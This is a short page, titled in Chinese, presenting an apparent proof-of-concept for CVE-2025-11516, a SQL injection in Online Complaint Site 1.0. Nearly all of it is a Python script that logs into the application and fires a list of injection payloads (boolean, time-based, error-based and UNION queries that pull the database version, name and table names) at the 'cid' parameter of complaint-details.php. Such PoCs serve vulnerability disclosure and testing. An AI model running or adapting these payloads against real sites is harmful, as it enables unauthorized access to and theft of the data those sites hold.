CVE-2025-11516：Online Complaint Site SQL注入漏洞

# CVE-2025-11516 PoC - SQL Injection in Online Complaint Site 1.0 # Vulnerable file: /cms/users/complaint-details.php # Vulnerable parameter: cid import requests TARGET_URL = "http://target.com" VULNERABLE_PATH = "/cms/users/complaint-details.php" # Step 1: Authentication (low privilege required) session = requests.Session() login_data = { "username": "testuser", "password": "testpass", "login": "submit" } session.post(f"{TARGET_URL}/cms/users/login.php", data=login_data) # Step 2: SQL Injection payloads for parameter 'cid' payloads = [ # Boolean-based SQLi test "1' OR '1'='1", "1' OR '1'='1' -- -", "1' UNION SELECT 1,2,3-- -", # Time-based blind SQLi test "1' AND SLEEP(5)-- -", "1'; WAITFOR DELAY '0:0:5'-- -", # Error-based SQLi test "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -", # Extract database version "1' UNION SELECT 1,version(),database()-- -", # Extract table names "1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -", ] # Step 3: Exploit for payload in payloads: params = {"cid": payload} try: response = session.get(f"{TARGET_URL}{VULNERABLE_PATH}", params=params, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") if "error" in response.text.lower() or "warning" in response.text.lower(): print(f"[!] Potential SQL error detected!") print(response.text[:500]) print("-" * 80) except requests.exceptions.Timeout: print(f"[+] Time-based SQLi confirmed with payload: {payload}") except Exception as e: print(f"[-] Error: {e}")